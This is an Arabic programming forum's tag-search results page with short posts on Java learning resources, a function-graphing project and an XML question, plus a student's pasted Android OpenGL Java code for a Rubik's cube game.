• الإعلانات

    • فيصل الحربي

      تسجيل عضوية جديدة في المنتدى   01/31/2016

      السلام عليكم ورحمة الله وبركاته  عزيزي العضو الجديد :  حاليا رسالة الإيميل لتأكيد صحة إيميلكم تذهب للبريد العشوائي ( جاري حل المشكلة )  فإذا لم تجد رسالة التحقق من إيميلكم في صندوق الوارد لديكم إتجه للبريد العشوائي ( JUNK)  وقم بتفعيل إشتراككم من هناك   

البحث في المنتدى

Showing results for tags 'اكواد جافا'.

  • البحث بالتاقات

    اكتب الكلمات المفتاحيه بينها علامه الفاصله
  • البحث بكاتب الموضوع

تم إيجاد 60 نتيجة

  1. أنا شخصياً استفدت كثيراً من هذه الدروس وما زلت اتابعها وأحببت أن أشارككم اياها وطبعاً الدروس فديو وباللغة العربية    رابط الدروس على اليوتيوب هو   أرجو أن تستفيدوا مثلي
  2. السلام عليكم ورحمة الله وبركاته   كيف الحال يااخوة ؟   اتمنى لكم الخير والسعادة     هنالك برنامج عملت عليه قبل 3 اسابيع تقريبا لتسليمه لمعلم الرياضيات في الثانوية ك بحث , البرنامج لتمثيل الدوال البيانية وايضا استخراج بعض المعلومات عنها وهو مفتوح المصدر   التطبيق ليس دقيقا 100% وايضا ليس مكتمل , فقد انشغلت عنه ولم اكمل في تطوير بعض الجزئيات     https://pbs.twimg.com/media/BruoPs-CQAEkuv0.png     وهنالك نية في نقل البرنامج الى الاندرويد بعد اكماله , وتحويل الدوال الى مكتبة jar لكي يتم الاستفادة بشكل اكبر منها     الرابط على github :   https://github.com/yazeed44/FunctionDraw       وشكرا      
  3. السلام عليكم ورحمة الله وبركاته  انا عضو جديد في المنتدى وحبيت اكون عضو ايجابي لمنتداكم  الرائع فهدا المنتدى منتدى اجابي ليس كبعض المنتديات التي ليس لها هدف لا تربوي ولا تعليمي عكس هدا المنتدى الهادف  المهم لكي لا اطيل عليكم تقبلوا موضوعي البيسيط بكتاب احتفضت به لمدة سنة اروع كتاب لتعلم  لغة  جافا سكريبت فهو كتاب نادر احتفضت به  من بعض المنتديات التي انقرضت و تم اتلاف عدد كبير من الكتب الرائعة وهدا من اروعها والدي كان ااسبب في تعليم الكتير من المبرمجين بادق التفاصيل البرمجية للغة الجافا سكريبت وهو كدلك كتاب  لتعلمها من الالف الى الياء ومليئ بالحلول لمشاكل عدة واجهة المبرمجين ادعكم مع الرابط اسفبه ------هدا رابط الكتاب-----               http://adf.ly/ppm8u وبالنسبة للدين لا يعرفون طريقة التحميل انتضر حتى تمر  5 توني  ستجدها باللون الاصفر في الافق ومن تم اضغط على تخطي الاعلانات  بعد الضغط ستحولك للكتاب مباشرة --------------------------------------- اما للدين لا يملكون برنامج للفتح الكنب pdf يحمله من الرابط اسفله http://adf.ly/ppo1E
  4. السلام عليكم ورحمة الله وبركاته    لدي سؤال بخصوص عمل معالجة لمحتويات ملف xml     انا استخدم java Eclipse كبيئة عمل ولدي ملف UML فيه class diagram  وقد قمت بتصديره لملف xml   اريد ان اصل الى الكلاس والخصائص الخاصة به والدوال باستخدام جافا لكن لا اعرف كيف انفذ هذا الشيء وانني قد درست اساسيات في الجافا وكذلك البرمجة كائنية المنحنى    اريد ان تقدموا لي نصائح للبدء بهذا الاتجاه لاني لا اعرف من اين ابدأ وبارك الله فيكم
  5. ياجماعه انا عملت برنامج زخرفه بالشكل العادي تحط الكلام في تكست بوكس رقم واحد يظهر مزخرف في تكسب بوكس رقم اتنين بس عاوز اضيف حاجه .. عاوز اعمل زخرفه تلقائيه يعني اول ما احدد الزخرفه التلقائيه واكتب في اي مكان فيس بوك او جي ميل او منتدي او اي شئ يكتب بزخرفه ارجوووو المساعده من مبرمجين السي شارب في اسرع وفت
  6. مساعدة في مذكرة تخرج

    السلام عليكم ورحمة الله وبركاته   انا ادرس في السنة الاخيرة معلوماتية وعندي مذكرة تخرج عنوانها تطبيقة لعبة روبيك كيب على اجهزة الاندرويد واردت ان اشارككم في ملفات الجافا لتشرحو لي الدوال لانني ضعيف في الجافا حيث انني سوف اقسم لكم الكود الى كلاسات   ارجو ان لا تبخلو عليا بمساعداتكم ولو بالشرح السطحي وشكرا لكم public class PointSommet { public float x; public float y; public float z; private PointSommet() {} public PointSommet(float x, float y, float z) { this.x = x; this.y = y; this.z = z; } public float[] ver_tablau3() { return new float[] {x, y, z}; } public float[] ver_tablau4() { return new float[] {x, y, z, 1f}; } public void tablau_ver_point(float[] tab) { x = tab[0]; y = tab[1]; z = tab[2]; } public static PointSommet vide() { return new PointSommet(); }// نقطة تقاطع public static float point_production(PointSommet vecteur1, PointSommet vecteur2) { return vecteur1.x * vecteur2.x + vecteur1.y * vecteur2.y + vecteur1.z * vecteur2.z; }//??????????????????????????????????? public static PointSommet crossProduct(PointSommet vecteur1, PointSommet vecteur2) { PointSommet ret = new PointSommet(); ret.x = (vecteur1.y * vecteur2.z) - (vecteur1.z * vecteur2.y); ret.y = (vecteur1.z * vecteur2.x) - (vecteur1.x * vecteur2.z); ret.z = (vecteur1.x * vecteur2.y) - (vecteur1.y * vecteur2.x); return ret; }// un copier de sommet public PointSommet copier() { return new PointSommet(x, y, z); }// la distance entre 2 poit dans espase public static float distance(PointSommet a, PointSommet b) { float dx = a.x - b.x; float dy = a.y - b.y; float dz = a.z - b.z; // la racine carré return (float) Math.sqrt(dx * dx + dy * dy + dz * dz); }}import java.nio.ByteBuffer;import java.nio.ByteOrder;import java.nio.FloatBuffer;import java.util.ArrayList;import javax.microedition.khronos.opengles.GL10;import android.opengl.Matrix;public class Cubic { private FloatBuffer vertexBuffer; private FloatBuffer colorBuffer; //Position d'un cube private PointSommet transVec= PointSommet.vide(); //Vector contains Cube updated placement in space (Rubik cube) private PointSommet locationVec; public Quatre quatre = Quatre.identity(); public float[] rotMatric = new float[16]; private static final float taill = 0.5f; private int id = 0; private float alpha = 0; private ArrayList<float[]> oryginalVecColors = new ArrayList<float[]>(); private ArrayList<PointSommet> actualVecColors = new ArrayList<PointSommet>(); public Cubic(PointSommet transformVec, int id, int x, int y, int z) { setVertices(); transVec = transformVec; locationVec = transformVec.copier(); Matrix.setIdentityM(rotMatric, 0);//rotMatrix={1 ,0,0,0,0, 1 ,0,0,0,0, 1 ,0,0,0,0, 1 } this.id = id; alpha = (float) id / 255f; ArrayList<float[]> couleur = new ArrayList<float[]>(); //chaque face COLORATION en gris for (int i = 0; i < 24; i++) { couleur.add(new float[] {0.2f, 0.2f, 0.2f, alpha}); } if (x == 0) { oryginalVecColors.add(new float[] { Valeur_de_couleur.VERT, 0, 0, 0});//couleur de face for (int i = 16; i < 20; i++) { couleur.set(i, new float[] {0, 1, 0, alpha});//VERT } } if (y == 0) { oryginalVecColors.add(new float[] {0,Valeur_de_couleur.JAUNE, 0, 0}); for (int i = 4; i < 8; i++) { couleur.set(i, new float[] {1, 1, 0, alpha});//JAUNE } } if (z == 0) { oryginalVecColors.add(new float[] {0, 0,Valeur_de_couleur.ORANGE, 0}); for (int i = 12; i < 16; i++) { couleur.set(i, new float[] {1, 0.5f, 0, alpha});//ORANGE } } if (x == 2) { oryginalVecColors.add(new float[] { Valeur_de_couleur.BLUE, 0, 0, 0}); for (int i = 20; i < 24; i++) { couleur.set(i, new float[] {0, 0, 1, alpha});//BLUE } } if (y == 2) { oryginalVecColors.add(new float[] {0,Valeur_de_couleur.BLANC, 0, 0}); for (int i = 0; i < 4; i++) { couleur.set(i, new float[] {1, 1, 1, alpha});//BLANC } } if (z == 2) { oryginalVecColors.add(new float[] {0, 0,Valeur_de_couleur.ROUGE, 0}); for (int i = 8; i < 12; i++) { couleur.set(i, new float[] {1, 0, 0, alpha});//ROUGE } } ByteBuffer cbb = ByteBuffer.allocateDirect(couleur.size() * 16); cbb.order(ByteOrder.nativeOrder()); colorBuffer = cbb.asFloatBuffer(); for (float[] color : couleur) { colorBuffer.put(color); } colorBuffer.position(0); for (int i = 0; i < oryginalVecColors.size(); i++) { actualVecColors.add(new PointSommet(oryginalVecColors.get(i)[0], oryginalVecColors.get(i)[1], oryginalVecColors.get(i)[2])); } } public void rota_cubic(Quatre quatRotation) { quatre = Quatre.multiply(quatre, quatRotation); Quatre.quatre_a_matrice(rotMatric, quatre); float[] tab = new float[4]; Matrix.multiplyMV(tab, 0, rotMatric, 0, transVec.ver_tablau4(), 0); locationVec.tablau_ver_point(tab); float[] vectorTab = new float[4]; for (int i = 0; i < oryginalVecColors.size(); ++i) { Matrix.multiplyMV(vectorTab, 0, rotMatric, 0, oryginalVecColors.get(i), 0); actualVecColors.get(i).tablau_ver_point(vectorTab); } } public PointSommet getReferenceVec() { return transVec; } public void tempRotation(Quatre quatRotation) { Quatre.quatre_a_matrice(rotMatric, quatRotation); float[] tab = new float[4]; Matrix.multiplyMV(tab, 0, rotMatric, 0, transVec.ver_tablau4(), 0); locationVec.tablau_ver_point(tab); } public ArrayList<PointSommet> getVecColors() { return actualVecColors; } public PointSommet locationVecteur() { return locationVec; } private void setVertices() { PointSommet sommet[] = new PointSommet[24]; //Top sommet[0] = new PointSommet(-taill, taill, taill); sommet[1] = new PointSommet(taill, taill, taill); sommet[2] = new PointSommet(-taill, taill, -taill); sommet[3] = new PointSommet(taill, taill, -taill); //Bottom sommet[4] = new PointSommet(taill, -taill, -taill); sommet[5] = new PointSommet(taill, -taill, taill); sommet[6] = new PointSommet(-taill, -taill, -taill); sommet[7] = new PointSommet(-taill, -taill, taill); //Front sommet[8] = new PointSommet(-taill, -taill, taill); sommet[9] = new PointSommet(taill, -taill, taill); sommet[10] = new PointSommet(-taill, taill, taill); sommet[11] = new PointSommet(taill, taill, taill); //Back sommet[12] = new PointSommet(taill, -taill, -taill); sommet[13] = new PointSommet(-taill, -taill, -taill); sommet[14] = new PointSommet(taill, taill, -taill); sommet[15] = new PointSommet(-taill, taill, -taill); //Left sommet[16] = new PointSommet(-taill, -taill, -taill); sommet[17] = new PointSommet(-taill, -taill, taill); sommet[18] = new PointSommet(-taill, taill, -taill); sommet[19] = new PointSommet(-taill, taill, taill); //Right sommet[20] = new PointSommet(taill, -taill, taill); sommet[21] = new PointSommet(taill, -taill, -taill); sommet[22] = new PointSommet(taill, taill, taill); sommet[23] = new PointSommet(taill, taill, -taill); ByteBuffer byteBuffer = ByteBuffer.allocateDirect(sommet.length * 3 * 4); byteBuffer.order(ByteOrder.nativeOrder()); vertexBuffer = byteBuffer.asFloatBuffer(); for (PointSommet vertex : sommet) { vertexBuffer.put(vertex.ver_tablau3()); } vertexBuffer.position(0); }//affichage de chaque cube public void draw(GL10 gl) { gl.glFrontFace(GL10.GL_CW); //اتجاه الواجهة gl.glEnable(GL10.GL_CULL_FACE); // OpenGL docs gl.glCullFace(GL10.GL_FRONT); // OpenGL docs gl.glPushMatrix(); gl.glMultMatrixf(rotMatric, 0); gl.glTranslatef(transVec.x, transVec.y, transVec.z);//(تحديد المحاور 3 دي) gl.glEnableClientState(GL10.GL_COLOR_ARRAY); gl.glEnableClientState(GL10.GL_VERTEX_ARRAY); gl.glColorPointer(4, GL10.GL_FLOAT, 0, colorBuffer);// اعطاء اين يؤشر الالوان gl.glVertexPointer(3, GL10.GL_FLOAT, 0, vertexBuffer);// اعطاء اين يؤشر الرؤوس gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 0, 4);//(نوع الرسم ,تحديد القمة ,عدد القمم) gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 4, 4); gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 8, 4); gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 12, 4); gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 16, 4); gl.glDrawArrays(GL10.GL_TRIANGLE_STRIP, 20, 4); gl.glPopMatrix(); gl.glDisableClientState(GL10.GL_VERTEX_ARRAY); gl.glDisableClientState(GL10.GL_COLOR_ARRAY); gl.glDisable(GL10.GL_CULL_FACE); } public int aller_id() { return id; } public static float[] colorToInitialDirection4(Couleur_et_Id color) { int intValue = color.getColor(); if (intValue == Couleur_et_Id.BLANC) { float[] floats = {0, 1, 0, 0}; return floats; } else if (intValue == Couleur_et_Id.JAUNE) { float[] floats = {0, -1, 0, 0}; return floats; } else if (intValue == Couleur_et_Id.ROUGE) { float[] floats = {0, 0, 1, 0}; return floats; } else if (intValue == Couleur_et_Id.ORANGE) { float[] floats = {0, 0, -1, 0}; return floats; } else if (intValue == Couleur_et_Id.VERT) { float[] floats = {-1, 0, 0, 0}; return floats; } else if (intValue == Couleur_et_Id.BLUE) { float[] floats = {1, 0, 0, 0}; return floats; } else { return null; } } private class Valeur_de_couleur { public static final float BLANC = 1f; public static final float JAUNE = 2f; public static final float ROUGE = 3f; public static final float ORANGE= 4f; public static final float VERT = 5f; public static final float BLUE = 6f; }}import java.util.ArrayList;import java.util.List;import java.util.Random;import javax.microedition.khronos.opengles.GL10;import android.opengl.Matrix;import android.util.Log;public class Rubik { private Cubic cubes[]; private Couche durée_de_rotation; private final float espace = 1.1f; //espase entre les cubes munimen=1 private final float delta = 0.3f; private RubiksRandomizer randomizer = new RubiksRandomizer(); public Rubik(boolean k) { cubes = new Cubic[26]; float offset = -(((float) 3) / 2 - 0.5f) * espace; // the middle of rubik's cube is located at 0,0,0; int i = 0; int id = 0; for (int x = 0; x < 3; x++) { for (int y = 0; y < 3; y++) { for (int z = 0; z < 3; z++) { if (x == 0 || x == 2 || y == 0 || y == 2 || z == 0 || z == 2) { cubes[i++] = new Cubic(new PointSommet(offset + x * espace, offset + y * espace, offset + z * espace), id++, x, y, z); } } } } if(k){ randomizer.randomize();} } private boolean aboutEquals(float f1, float f2) { return Math.abs(f1 - f2) < delta; } private boolean aboutEquals(PointSommet v1, PointSommet v2) { return aboutEquals(v1.x, v2.x) && aboutEquals(v1.y, v2.y) && aboutEquals(v1.z, v2.z); }//creer le rubik complet public void dessiner_Rubik(GL10 gl) { for (Cubic cube : cubes) { cube.draw(gl); } } public boolean actualisation_de_rotation(long millis) { if (durée_de_rotation != null) { if (durée_de_rotation.appli_rotation(millis)) { durée_de_rotation = null; return est_Constitué(); } } return false; } public void rotation(Couleur_et_Id source, Couleur_et_Id destination) { if (this.durée_de_rotation != null) { Log.d("Don't even try that. This cube is unbreakable.", ":)"); return; } if (source.equals(Couleur_et_Id.zero)) { return; // ne select pas le cube // اللمس كان عل ىالخلفية السوداء } Cubic sour = recherche_cube(source.getId()); if (sour == null) { return; } if (source.getId() == destination.getId()) { // source et destination est dans meme cube if (source.equals(destination)) { return; // meme couleur . non rotation } else { // ces 2 couleur est meme cube et different face rotateThemCubes(source, destination, sour); } } else { // source et destination est different dans cube if (destination.equals(Couleur_et_Id.zero)) { return; // ne select pas le cube //اللمس كان عل ىالخلفية السوداء } Cubic dest = recherche_cube(destination.getId()); if (dest == null) { return; } else { // 2 different cubes PointSommet f = dest.locationVecteur(); PointSommet t = sour.locationVecteur(); // si les 2 cubes est voisin if (PointSommet.distance(f, t) < espace + delta) { rotateThemCubes(source, destination, sour, dest); } } } } private Cubic recherche_cube(int alphaId) { for (Cubic c : cubes) { if (c.aller_id() == alphaId) { return c; } } return null; } private void rotateThemCubes(Couleur_et_Id sour_coul, Couleur_et_Id dest_coul, Cubic sour_Cube, Cubic dest_Cube) { float[] constVect = Cubic.colorToInitialDirection4(sour_coul); if (constVect == null) { return; } PointSommet sour = sour_Cube.locationVecteur(); PointSommet dest = dest_Cube.locationVecteur(); PointSommet directionVector = new PointSommet(dest.x - sour.x, dest.y - sour.y, dest.z - sour.z); float[] result = new float[4]; Matrix.multiplyMV(result, 0, sour_Cube.rotMatric, 0, constVect, 0); PointSommet resultVector = new PointSommet(result[0], result[1], result[2]); PointSommet axis = PointSommet.crossProduct(directionVector, resultVector); roundToExactAxis(axis); // select de couche Cubic[] couche = select_couche(sour, axis); // dans la fin donc appliquer le rotation durée_de_rotation = new Couche(couche, Quatre.fromAxisAndAngle(axis, (float) Math.toRadians(90))); } private void rotateThemCubes(Couleur_et_Id sour_coul, Couleur_et_Id dest_coul, Cubic le_cube) { float[] constVect; float[] result = new float[4]; constVect = Cubic.colorToInitialDirection4(sour_coul); if (constVect == null) { return; } Matrix.multiplyMV(result, 0, le_cube.rotMatric, 0, constVect, 0); PointSommet resultVector1 = new PointSommet(result[0], result[1], result[2]); constVect = Cubic.colorToInitialDirection4(dest_coul); if (constVect == null) { return; } Matrix.multiplyMV(result, 0, le_cube.rotMatric, 0, constVect, 0); PointSommet resultVector2 = new PointSommet(result[0], result[1], result[2]); PointSommet axis = PointSommet.crossProduct(resultVector2, resultVector1); roundToExactAxis(axis);// pour eveter les virgules(x,225) // select layer Cubic[] couche = select_couche(le_cube.locationVecteur(), axis); // dans la fin donc appliquer le rotation durée_de_rotation = new Couche(couche, Quatre.fromAxisAndAngle(axis, (float) Math.toRadians(90))); } private Cubic[] select_couche(PointSommet location, PointSommet axe) { List<Cubic> list = new ArrayList<Cubic>(9); if (!aboutEquals(axe.x, 0)) {// sélect du axe for (Cubic cube : cubes) { if (aboutEquals(location.x, cube.locationVecteur().x)) {//select des cubes list.add(cube); } } } else if (!aboutEquals(axe.y, 0)) { for (Cubic cube : cubes) { if (aboutEquals(location.y, cube.locationVecteur().y)) { list.add(cube); } } } else if (!aboutEquals(axe.z, 0)) { for (Cubic cube : cubes) { if (aboutEquals(location.z, cube.locationVecteur().z)) { list.add(cube); } } } Cubic[] layer = new Cubic[list.size()]; return list.toArray(layer); } public boolean est_Constitué() { boolean meme_couleur = false; PointSommet middleColor; for (Face_de_rubik face : Face_de_rubik.values()) { Cubic[] couche = couche_Externe(face); middleColor = couche[4].getVecColors().get(0); for (Cubic cube : couche) { meme_couleur = false; for (PointSommet color : cube.getVecColors()) { if (aboutEquals(color, middleColor)) { meme_couleur = true; } } if (meme_couleur == false) { return false; } } Log.d(face.name(), "OK"); } return true; } private Cubic[] couche_Externe(Face_de_rubik face) { Cubic[] couche = new Cubic[9]; int i = 0; PointSommet début = cubes[0].locationVecteur(); // JAUNE/VERT/ORANGE PointSommet fin = cubes[8].locationVecteur(); // BLUE/BLANC/ROUGE switch (face) { case TOP: // BLUE for (Cubic cube : cubes) { if (aboutEquals(cube.locationVecteur().y, fin.y)) { couche[i++] = cube; } } break; case BOTTOM: // JAUNE for (Cubic cube : cubes) { if (aboutEquals(cube.locationVecteur().y, début.y)) { couche[i++] = cube; } } break; case FRONT: // ROUGE for (Cubic cube : cubes) { if (aboutEquals(cube.locationVecteur().z, fin.z)) { couche[i++] = cube; } } break; case BACK: // ORANGE for (Cubic cube : cubes) { if (aboutEquals(cube.locationVecteur().z, début.z)) { couche[i++] = cube; } } break; case LEFT: // VERT for (Cubic cube : cubes) { if (aboutEquals(cube.locationVecteur().x, début.x)) { couche[i++] = cube; } } break; case RIGHT: // BLUE for (Cubic cube : cubes) { if (aboutEquals(cube.locationVecteur().x, fin.x)) { couche[i++] = cube; } } break; } return couche; } private void roundToExactAxis(PointSommet vector) { vector.x = Math.round(vector.x); vector.y = Math.round(vector.y); vector.z = Math.round(vector.z); } private enum Face_de_rubik { TOP, BOTTOM, FRONT, BACK, LEFT, RIGHT; } private class RubiksRandomizer { Random random = new Random(); PointSommet X = new PointSommet(1, 0, 0); PointSommet Y = new PointSommet(0, 1, 0); PointSommet Z = new PointSommet(0, 0, 1); double[] angles = {-90, 180, 90}; public void randomize() { for (int i = 0; i < 9; ++i) { quickRotate(getRandomXLayer(), X, angles[random.nextInt(3)]); quickRotate(getRandomYLayer(), Y, angles[random.nextInt(3)]); quickRotate(getRandomZLayer(), Z, angles[random.nextInt(3)]); } } private Cubic[] getRandomXLayer() { List<Cubic> list = new ArrayList<Cubic>(9); float randomXPos = cubes[0].getReferenceVec().x + random.nextInt(3); for (Cubic cube : cubes) { if (aboutEquals(cube.locationVecteur().x, randomXPos)) { list.add(cube); } } Cubic[] layer = new Cubic[list.size()]; return list.toArray(layer); } private Cubic[] getRandomYLayer() { List<Cubic> list = new ArrayList<Cubic>(9); float randomYPos = cubes[0].getReferenceVec().y + random.nextInt(3); for (Cubic cube : cubes) { if (aboutEquals(cube.locationVecteur().y, randomYPos)) { list.add(cube); } } Cubic[] layer = new Cubic[list.size()]; return list.toArray(layer); } private Cubic[] getRandomZLayer() { List<Cubic> list = new ArrayList<Cubic>(9); float randomZPos = cubes[0].getReferenceVec().z + random.nextInt(3); for (Cubic cube : cubes) { if (aboutEquals(cube.locationVecteur().z, randomZPos)) { list.add(cube); } } Cubic[] layer = new Cubic[list.size()]; return list.toArray(layer); } private void quickRotate(Cubic[] layer, PointSommet axis, double degrees) { for (Cubic cube : layer) { cube.rota_cubic(Quatre.fromAxisAndAngle(axis, (float) Math.toRadians(degrees))); } } }}public class Quatre { private float x; private float y; private float z; private float w; private Quatre() {} public Quatre(float x, float y, float z, float w) { this.x = x; this.y = y; this.z = z; this.w = w; } public Quatre clone() { return new Quatre(x, y, z, w); } public static Quatre identity() { return new Quatre(0, 0, 0, 1); } public static void quatre_a_matrice(float[] matrix, Quatre quat) { matrix[0] = 1.0f - (2.0f * ((quat.y * quat.y) + (quat.z * quat.z))); matrix[1] = 2.0f * ((quat.x * quat.y) - (quat.z * quat.w)); matrix[2] = 2.0f * ((quat.x * quat.z) + (quat.y * quat.w)); matrix[3] = 0.0f; matrix[4] = 2.0f * ((quat.x * quat.y) + (quat.z * quat.w)); matrix[5] = 1.0f - (2.0f * ((quat.x * quat.x) + (quat.z * quat.z))); matrix[6] = 2.0f * ((quat.y * quat.z) - (quat.x * quat.w)); matrix[7] = 0.0f; matrix[8] = 2.0f * ((quat.x * quat.z) - (quat.y * quat.w)); matrix[9] = 2.0f * ((quat.y * quat.z) + (quat.x * quat.w)); matrix[10] = 1.0f - (2.0f * ((quat.x * quat.x) + (quat.y * quat.y))); matrix[11] = 0.0f; matrix[12] = 0.0f; matrix[13] = 0.0f; matrix[14] = 0.0f; matrix[15] = 1.0f; } public static Quatre fromAxisAndAngle(PointSommet axis, float angle) { Quatre quat = new Quatre(); angle *= 0.5f; float sinAngle = (float) Math.sin(angle); quat.x = (axis.x * sinAngle); quat.y = (axis.y * sinAngle); quat.z = (axis.z * sinAngle); quat.w = (float) Math.cos(angle); return quat; } public static float extractAxisAndAngle(Quatre quat, PointSommet axis) {//استخراج الزاوية والمحور float s = (float) Math.sqrt(1.0f - (quat.w * quat.w)); if (Math.abs(s) < 0.0005f) { s = 1.0f; } if (axis != null) { axis.x = (quat.x / s); axis.y = (quat.y / s); axis.z = (quat.z / s); } return (float) (Math.acos(quat.w) * 2.0f); // return angle as float } public static Quatre multiply(Quatre quat1, Quatre quat2) { PointSommet v1 = new PointSommet(quat1.x, quat1.y, quat1.z); PointSommet v2 = new PointSommet(quat2.x, quat2.y, quat2.z); float angle = (quat1.w * quat2.w) - PointSommet.point_production(v1, v2); PointSommet cp = PointSommet.crossProduct(v1, v2); v1.x *= quat2.w; v1.y *= quat2.w; v1.z *= quat2.w; v2.x *= quat1.w; v2.y *= quat1.w; v2.z *= quat1.w; return new Quatre(v1.x + v2.x + cp.x, v1.y + v2.y + cp.y, v1.z + v2.z + cp.z, angle); } public static void invert(Quatre quat) { float length = 1.0f / ((quat.x * quat.x) + (quat.y * quat.y) + (quat.z * quat.z) + (quat.w * quat.w)); quat.x *= -length; quat.y *= -length; quat.z *= -length; quat.w *= length; } public static Quatre fromEulerAngles(float x, float y, float z) { PointSommet vx = new PointSommet(1.f, 0.f, 0.f); PointSommet vy = new PointSommet(0.f, 1.f, 0.f); PointSommet vz = new PointSommet(0.f, 0.f, 1.f); Quatre qx = fromAxisAndAngle(vx, x); Quatre qy = fromAxisAndAngle(vy, y); Quatre qz = fromAxisAndAngle(vz, z); Quatre temp = multiply(qx, qy); return multiply(temp, qz); } public static float dotProduct(Quatre quat1, Quatre quat2) { return quat1.x * quat2.x + quat2.y * quat2.y + quat1.z * quat2.z + quat1.w * quat2.w; } public static Quatre slerp(Quatre start, Quatre finish, float progress) { float startWeight, finishWeight; float difference = (start.x * finish.x) + (start.y * finish.y) + (start.z * finish.z) + (start.w * finish.w); if (1f - Math.abs(difference) > .01f) { float theta = (float) Math.acos(Math.abs(difference)); float oneOverSinTheta = (float) (1.f / Math.sin(theta)); startWeight = (float) (Math.sin(theta * (1.f - progress)) * oneOverSinTheta); finishWeight = (float) (Math.sin(theta * progress) * oneOverSinTheta); if (difference < 0f) { startWeight = -startWeight; } } else { startWeight = (1.f - progress); finishWeight = progress; } Quatre ret = new Quatre(); ret.x = (start.x * startWeight) + (finish.x * finishWeight); ret.y = (start.y * startWeight) + (finish.y * finishWeight); ret.z = (start.z * startWeight) + (finish.z * finishWeight); ret.w = (start.w * startWeight) + (finish.w * finishWeight); return ret; }}import android.graphics.Color;public class Couleur_et_Id { private int coul; private int id; public static Couleur_et_Id zero = new Couleur_et_Id(0, 0, 0, 255); public Couleur_et_Id() {} public Couleur_et_Id(int r, int g, int b, int a) { id = a; coul = Color.rgb(r, g, b); } public void setColor(int r, int g, int b) { coul = Color.rgb(r, g, b); } public int getColor() { return coul; } public void setId(int id) { this.id = id; } public int getId() { return id; } public boolean equals(Object o) { if (o instanceof Couleur_et_Id) { Couleur_et_Id that = (Couleur_et_Id) o; return this.coul == that.coul && this.id == that.id; } return false; } public static final int BLANC = Color.rgb(255, 255, 255); public static final int JAUNE = Color.rgb(255, 255, 0); public static final int ROUGE = Color.rgb(255, 0, 0); public static final int ORANGE= Color.rgb(255, 128, 0); public static final int VERT = Color.rgb(0, 255, 0); public static final int BLUE = Color.rgb(0, 0, 255);}public class Couche { private Cubic[] couche; // 1 couche est 9 cubes private static final long Durée_de_rotation = 700; private long durée_actuel; private Quatre destRotQuat; public Couche(Cubic[] layer, Quatre destRotQuat) { this.couche = layer; this.destRotQuat = destRotQuat; } public boolean appli_rotation(long dt) {// si returner true, est fin de rotation durée_actuel += dt; if (durée_actuel >= Durée_de_rotation) { // appliquer la rotation en (90deg) for (Cubic cube : couche) { cube.rota_cubic(destRotQuat); } return true; } float progrès = (float) durée_actuel / Durée_de_rotation; for (Cubic cube : couche) { Quatre slerped = Quatre.slerp(cube.quatre, Quatre.multiply(cube.quatre, destRotQuat), progrès); cube.tempRotation(slerped); } return false; } }import java.nio.ByteBuffer;import javax.microedition.khronos.egl.EGLConfig;import javax.microedition.khronos.opengles.GL10;import android.graphics.Point;import android.opengl.GLSurfaceView.Renderer;import android.util.DisplayMetrics;public class Rendu_OpenGL implements Renderer { private Quatre rot; private Rubik rubik; private Point port_vue; private volatile Point doigt_prev = null; private volatile Point doigt = null; private volatile Point point_demarer_tirage = null; private volatile Couleur_et_Id couleur_demarer_tirage = Couleur_et_Id.zero; private volatile boolean affect_Traction = false; // rotation de rubik public void rotate1(float dx, float dy, long dt) { Quatre dq = Quatre.fromEulerAngles(-dy * 0.0003f * dt, -dx * 0.0003f * dt, 0); rot = Quatre.multiply(rot, dq); } public Rendu_OpenGL(boolean k, DisplayMetrics displayMetrics) { rubik = new Rubik(k); rot = Quatre.identity(); rotate1(1f, 1f, 1571L); port_vue = new Point(displayMetrics.widthPixels, displayMetrics.heightPixels); } @Override public void onDrawFrame(GL10 gl) { float[] matrix = new float[16]; Quatre.quatre_a_matrice(matrix, rot); gl.glTranslatef(0, 0, -6.5f ); gl.glMultMatrixf(matrix, 0); gl.glScalef(1.2f, 1.2f, 1.2f);// zoomer de rubik gl.glClear(GL10.GL_COLOR_BUFFER_BIT | GL10.GL_DEPTH_BUFFER_BIT); rubik.dessiner_Rubik(gl); gl.glLoadIdentity(); long dt = 100; if (rubik.actualisation_de_rotation(dt)) { RubikActivity.getInstance().cubeSolved(); return; } processDragging(gl, dt); } @Override public void onSurfaceChanged(GL10 gl, int width, int height) {} @Override public void onSurfaceCreated(GL10 gl, EGLConfig config) { gl.glClearColor(0.0f, 0.0f, 0.0f, 1.0f); gl.glShadeModel(GL10.GL_SMOOTH); gl.glEnable(GL10.GL_DEPTH_TEST); gl.glHint(GL10.GL_PERSPECTIVE_CORRECTION_HINT, GL10.GL_NICEST); gl.glViewport(0, 0, port_vue.x, port_vue.y); gl.glMatrixMode(GL10.GL_PROJECTION); gl.glLoadIdentity(); float ratio = (float) port_vue.x / (float) port_vue.y; gl.glFrustumf(-ratio, ratio, -1, 1, 1, 17); gl.glEnable(GL10.GL_DITHER); gl.glMatrixMode(GL10.GL_MODELVIEW); gl.glLoadIdentity(); } private Couleur_et_Id readColorAndId(GL10 gl, Point point) { ByteBuffer buff = ByteBuffer.allocate(4); gl.glReadPixels(point.x, port_vue.y - point.y, 1, 1, GL10.GL_RGBA, GL10.GL_UNSIGNED_BYTE, buff); int r = normalize(buff.get()); int g = normalize(buff.get()); //htc fix int colorFix = 2; int halfColorVal = 128; if (g < halfColorVal + colorFix && g > halfColorVal - colorFix) g = halfColorVal; //htc fix int b = normalize(buff.get()); int a = normalize(buff.get()); return new Couleur_et_Id(r, g, b, a); } private int normalize(int a) { return a & 0xFF; } private synchronized void processDragging(GL10 gl, long dt) { if (affect_Traction && point_demarer_tirage != null) { if (couleur_demarer_tirage == null) { couleur_demarer_tirage = readColorAndId(gl, point_demarer_tirage); } if (Couleur_et_Id.zero.equals(couleur_demarer_tirage)) { // اذا كان يسحب على الخلفية السوداء if (doigt_prev != null && !doigt.equals(doigt_prev)) { rotate1(doigt.x - doigt_prev.x, doigt.y - doigt_prev.y, dt); } } else { // dragging started from one of the cubes Couleur_et_Id read = readColorAndId(gl, doigt); if (!read.equals(couleur_demarer_tirage)) { rubik.rotation(couleur_demarer_tirage, read); point_demarer_tirage = null; } } } affect_Traction = false; } ///////////////////////////////////////////////////////////////// public synchronized void startDrag(Point debut_tirage) { // // affect_Traction = true; // doigt_prev = null; doigt = debut_tirage; point_demarer_tirage = debut_tirage; 